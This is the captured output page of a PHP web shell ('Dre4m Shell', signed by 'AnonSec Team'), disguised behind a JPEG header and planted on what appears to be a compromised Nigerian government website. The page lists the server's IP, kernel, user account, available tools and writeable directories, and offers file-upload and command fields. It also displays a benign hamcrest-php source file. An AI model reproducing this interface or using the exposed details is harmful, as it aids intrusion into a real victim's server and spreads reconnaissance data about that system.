ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.17.174.239
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/hamcrest/hamcrest-php/generator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/hamcrest/hamcrest-php/generator/FactoryGenerator.php
<?php

/*
 Copyright (c) 2009 hamcrest.org
 */

/**
 * Controls the process of extracting @factory doctags
 * and generating factory method files.
 *
 * Uses File_Iterator to scan for PHP files.
 */
class FactoryGenerator
{
    /**
     * Path to the Hamcrest PHP files to process.
     *
     * @var string
     */
    private $path;

    /**
     * @var array of FactoryFile
     */
    private $factoryFiles;

    public function __construct($path)
    {
        $this->path = $path;
        $this->factoryFiles = array();
    }

    public function addFactoryFile(FactoryFile $factoryFile)
    {
        $this->factoryFiles[] = $factoryFile;
    }

    public function generate()
    {
        $classes = $this->getClassesWithFactoryMethods();
        foreach ($classes as $class) {
            foreach ($class->getMethods() as $method) {
                foreach ($method->getCalls() as $call) {
                    foreach ($this->factoryFiles as $file) {
                        $file->addCall($call);
                    }
                }
            }
        }
    }

    public function write()
    {
        foreach ($this->factoryFiles as $file) {
            $file->build();
            $file->write();
        }
    }

    public function getClassesWithFactoryMethods()
    {
        $classes = array();
        $files = $this->getSortedFiles();
        foreach ($files as $file) {
            $class = $this->getFactoryClass($file);
            if ($class !== null) {
                $classes[] = $class;
            }
        }

        return $classes;
    }

    public function getSortedFiles()
    {
        $iter = $this->getFileIterator();
        $files = array();
        foreach ($iter as $file) {
            $files[] = $file;
        }
        sort($files, SORT_STRING);

        return $files;
    }

    private function getFileIterator()
    {
        $factoryClass = class_exists('File_Iterator_Factory') ? 'File_Iterator_Factory' : 'SebastianBergmann\FileIterator\Factory';

        $factory = new $factoryClass();

        return $factory->getFileIterator($this->path, '.php');
    }

    public function getFactoryClass($file)
    {
        $name = $this->getFactoryClassName($file);
        if ($name !== null) {
            require_once $file;

            if (class_exists($name)) {
                $class = new FactoryClass(substr($file, strpos($file, 'Hamcrest/')), new ReflectionClass($name));
                if ($class->isFactory()) {
                    return $class;
                }
            }
        }

        return null;
    }

    public function getFactoryClassName($file)
    {
        $content = file_get_contents($file);
        if (preg_match('/namespace\s+(.+);/', $content, $namespace)
            && preg_match('/\n\s*class\s+(\w+)\s+extends\b/', $content, $className)
            && preg_match('/@factory\b/', $content)
        ) {
            return $namespace[1] . '\\' . $className[1];
        }

        return null;
    }
}

Anon7 - 2022
AnonSec Team